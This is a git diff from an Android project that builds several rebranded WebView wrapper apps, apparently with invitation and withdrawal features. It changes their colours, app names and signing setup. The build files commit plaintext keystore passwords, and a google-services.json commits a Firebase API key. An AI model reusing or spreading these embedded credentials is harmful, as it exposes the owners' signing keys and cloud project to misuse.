+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/xml/app_updater_paths.xml b/meemee99/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/meemee99/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/xml/network_security_config.xml b/meemee99/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/meemee99/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/xml/provider_paths.xml b/meemee99/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/meemee99/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/meemee99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/meemee99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/megakaya77/build.gradle b/megakaya77/build.gradle
index af686b6..5b3e584 100644
--- a/megakaya77/build.gradle
+++ b/megakaya77/build.gradle
@@ -56,7 +56,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "megakaya77"
+ def appName = "urhuhguhrghghhdjdddddeflll"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/megakaya77/src/main/AndroidManifest.xml b/megakaya77/src/main/AndroidManifest.xml
index 777fd90..707154a 100644
--- a/megakaya77/src/main/AndroidManifest.xml
+++ b/megakaya77/src/main/AndroidManifest.xml
@@ -9,14 +9,14 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
-
+
diff --git a/nova9sg/build.gradle b/nova9sg/build.gradle
index a2b2a1f..07b74b5 100644
--- a/nova9sg/build.gradle
+++ b/nova9sg/build.gradle
@@ -27,18 +27,30 @@ android {
// storePassword "2014123456"
// keyAlias 'key0'
// keyPassword "2014123456"
+// }
+// debug {
+// storeFile file('justlet.jks')
+// storePassword "123456"
+// keyAlias 'key0'
+// keyPassword "123456"
+// }
+// release {
+// storeFile file('justlet.jks')
+// storePassword "123456"
+// keyAlias 'key0'
+// keyPassword "123456"
// }
debug {
- storeFile file('justlet.jks')
- storePassword "123456"
- keyAlias 'key0'
- keyPassword "123456"
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
}
release {
- storeFile file('justlet.jks')
- storePassword "123456"
- keyAlias 'key0'
- keyPassword "123456"
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
}
}
@@ -56,7 +68,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "nova9sg"
+ def appName = "uururuhdfughdfugdfjgg"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/nova9sg/dskjweb.jks b/nova9sg/dskjweb.jks
new file mode 100644
index 0000000..a303350
Binary files /dev/null and b/nova9sg/dskjweb.jks differ
diff --git a/nova9sg/src/main/AndroidManifest.xml b/nova9sg/src/main/AndroidManifest.xml
index 9b973b9..c17a14a 100644
--- a/nova9sg/src/main/AndroidManifest.xml
+++ b/nova9sg/src/main/AndroidManifest.xml
@@ -9,14 +9,14 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
-
-
+
+
-
+
diff --git a/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java b/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java
index 79532b6..6f73388 100644
--- a/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java
+++ b/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java
@@ -18,9 +18,9 @@ public class MainActivity extends MainActivity2 {
saveInt(MainActivity.this,"version_code",getVersion());
com.web.base.MainActivity.saveString(this, "base_url","https://nova9sg2.com/");
//网页的底部NavigationBar颜色
- com.web.base.MainActivity.saveString(this, "style_color", "#191919");
+ com.web.base.MainActivity.saveString(this, "style_color", "#eadbfe");
//页面的大背景颜色
- com.web.base.MainActivity.saveString(this, "windows_color", "#000000");
+ com.web.base.MainActivity.saveString(this, "windows_color", "#e9c9f0");
//任务栏的文字颜色 0 黑 1白 默认黑
saveInt(MainActivity.this,"is_white",1);
super.onCreate(savedInstanceState);
diff --git a/nova9sg/src/main/res/drawable/big_bg.xml b/nova9sg/src/main/res/drawable/big_bg.xml
index 20acafb..4042910 100644
--- a/nova9sg/src/main/res/drawable/big_bg.xml
+++ b/nova9sg/src/main/res/drawable/big_bg.xml
@@ -3,6 +3,6 @@
android:shape="rectangle">
+ android:startColor="#e9c9f0"
+ android:endColor="#eadbfe"/>
\ No newline at end of file
diff --git a/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png b/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png
index e30ff78..ff5fe4e 100644
Binary files a/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png and b/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/nova9sg/src/main/res/values/strings.xml b/nova9sg/src/main/res/values/strings.xml
index f6bd9ec..a797c4d 100644
--- a/nova9sg/src/main/res/values/strings.xml
+++ b/nova9sg/src/main/res/values/strings.xml
@@ -1,5 +1,5 @@
- Nova
+ Nova9
请输入6位密码
取消
确定
diff --git a/nyonya9/.gitignore b/nyonya9/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/nyonya9/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/nyonya9/build.gradle b/nyonya9/build.gradle
new file mode 100644
index 0000000..419a5da
--- /dev/null
+++ b/nyonya9/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.nyonya9"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "nyonya9kjfkjjgkgirr"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/nyonya9/google-services.json b/nyonya9/google-services.json
new file mode 100644
index 0000000..08066cc
--- /dev/null
+++ b/nyonya9/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "484526391060",
+ "project_id": "nyonya9-668c2",
+ "storage_bucket": "nyonya9-668c2.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:484526391060:android:70796e939f2731f1db4c01",
+ "android_client_info": {
+ "package_name": "com.xyz.nyonya9"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyD8hlONr6SxD50XmG9LMBV1zMDQSE965_c"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/nyonya9/justlet.jks b/nyonya9/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/nyonya9/justlet.jks differ
diff --git a/nyonya9/proguard-rules.pro b/nyonya9/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/nyonya9/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/nyonya9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/nyonya9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/nyonya9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/nyonya9/src/main/AndroidManifest.xml b/nyonya9/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..1df50e6
--- /dev/null
+++ b/nyonya9/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/java/com/xyz/nyonya9/MainActivity.java b/nyonya9/src/main/java/com/xyz/nyonya9/MainActivity.java
new file mode 100644
index 0000000..8f51f9e
--- /dev/null
+++ b/nyonya9/src/main/java/com/xyz/nyonya9/MainActivity.java
@@ -0,0 +1,80 @@
+package com.xyz.nyonya9;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/nyonya9/src/main/java/com/xyz/nyonya9/MyFirebaseMessageingService.java b/nyonya9/src/main/java/com/xyz/nyonya9/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..8116be6
--- /dev/null
+++ b/nyonya9/src/main/java/com/xyz/nyonya9/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.nyonya9;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/nyonya9/src/main/java/com/xyz/nyonya9/WebApplication.java b/nyonya9/src/main/java/com/xyz/nyonya9/WebApplication.java
new file mode 100644
index 0000000..5708559
--- /dev/null
+++ b/nyonya9/src/main/java/com/xyz/nyonya9/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.nyonya9;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/nyonya9/src/main/res/drawable/big_bg.xml b/nyonya9/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/nyonya9/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/mipmap-xxhdpi/app_logo.png b/nyonya9/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..1bf08ad
Binary files /dev/null and b/nyonya9/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/nyonya9/src/main/res/values-en/strings.xml b/nyonya9/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/nyonya9/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/values-night/themes.xml b/nyonya9/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/nyonya9/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/values/app_config.xml b/nyonya9/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..ae50f3a
--- /dev/null
+++ b/nyonya9/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ NYONYA9
+
+ 238
+
+ https://nyonya9.vip/
+
+ 0
+
+ 0
+
+ #ffba03
+
+ #413100
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/values/colors.xml b/nyonya9/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/nyonya9/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/values/strings.xml b/nyonya9/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/nyonya9/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/values/themes.xml b/nyonya9/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/nyonya9/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/xml/app_updater_paths.xml b/nyonya9/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/nyonya9/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/xml/network_security_config.xml b/nyonya9/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/nyonya9/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/main/res/xml/provider_paths.xml b/nyonya9/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/nyonya9/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nyonya9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/nyonya9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/nyonya9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/samamenang/.gitignore b/samamenang/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/samamenang/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/samamenang/build.gradle b/samamenang/build.gradle
new file mode 100644
index 0000000..f50165b
--- /dev/null
+++ b/samamenang/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.samamenang"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "samamenangkdjhksdgjkdsfgjkdfg"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/samamenang/google-services.json b/samamenang/google-services.json
new file mode 100644
index 0000000..1c9c5c5
